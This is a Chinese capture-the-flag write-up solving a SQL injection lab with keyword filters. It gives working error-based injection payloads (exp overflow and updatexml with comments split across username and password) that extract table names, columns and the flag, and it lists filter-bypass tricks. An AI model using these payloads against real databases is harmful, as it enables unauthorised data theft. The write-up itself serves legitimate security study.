1. 程式人生 > >實驗吧 加了料的報錯注入

實驗吧 加了料的報錯注入

解題連結: http://ctf5.shiyanbar.com/web/baocuo/index.php
在這裡插入圖片描述
SQL查詢原始碼:

<!-- $sql="select * from users where username='$username' and password='$password'";  -->

解題步驟與思路:
1)重新整理頁面Burpsuite抓取資料包
2)根據Tips,修改GET為POST
注意GET請求和POST請求包頭的區別
否則引數傳遞不到後臺。
在這裡插入圖片描述
在這裡插入圖片描述
2.1)GET請求:

Content-Type: application/json

2.2)POST請求:

Content-Type:application/x-www-form-urlencoded

3)構造字典掃一下注入點過濾了哪些關鍵字:
在這裡插入圖片描述
在這裡插入圖片描述
3.1)username的注入點:
(),會提醒User name unknow error.
-#:=被過濾
floor函式被過濾,其他報錯函式正常

3.2)password的注入點:
-#:=被過濾
只有exp和name_const正常,其他報錯函式被過濾

4)兩種思路:
4.1)password處既可以用(),又可以用exp函式,具備了報錯注入的條件。可以利用exp報錯注入得到flag
第一種思路:
exp函式的報錯公式select exp(~(select*from(select user())x)),select user()替換為相應的報錯語句,
exp函式的用法解析參考:

http://netsecurity.51cto.com/art/201508/489529.htm

報表名:
username=’ or’1&password=‘or (select exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())x))) or’
得到
DOUBLE value is out of range in ‘exp(~((select ‘ffll44jj,users’ from dual)))’

報列名:
username=’ or’1&password=‘or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name regexp ‘ffll44jj’)x))) or’
得到
DOUBLE value is out of range in ‘exp(~((select ‘value’ from dual)))’

也可以用in
username=’ or’1&password=‘or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name in(‘ffll44jj’))x))) or’

報內容:
username=’ or’1&password=‘or (select exp(~(select*from(select value from ffll44jj)x))) or’
得到flag
在這裡插入圖片描述

4.2)在username處可以用報錯函式,()被過濾。在password處可以用(),報錯函式被過濾。
sql注入裡有一種就叫http分割注入,在不同的引數之間進行分割,到了資料庫執行查詢時再合併語句。
出題人的意圖就是左邊不能出現括號,右邊不能出現報錯函式名。
利用sql註釋符拼接SQL語句
在這裡插入圖片描述

payload:

username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or '

這裡username最後為 /* 而password最前面為*/ 在拼接的時候就實現了/* */註釋功能.

先試出一些WAF:
substr mid left right union limit like
由於不能等號、like,於是借用regexp或者in代替等號,這裡給的payload借用了regexp

第二種思路:
select database(); #查選資料庫
select group_concat(schema_name) from information_schema.schemata;#查詢資料庫
select schema_name from information_schema.schemata limit 0,1 #查詢資料庫
select group_concat(table_name) from information_schema.tables where table_schema=database();#查詢表
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查詢表
select column_name from information_schema.columns where table_name=‘users’ limit 0,1; #查詢列
報錯函式updataxml的公式:

http://www.******.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(select database()),0x7e),1)

select database()換成報錯語句即可

報表名:
username=’ or updatexml/&password=/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or’
得到
XPATH syntax error: ‘ffll44jj,users

報列名:
username=’ or updatexml/&password=/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp ‘ffll44jj’),0x7e),1) or’
得到
XPATH syntax error: ‘value

報內容:
username=’ or updatexml/&password=/(1,concat(0x7e,(select value from ffll44jj),0x7e),1) or’
得到flag
在這裡插入圖片描述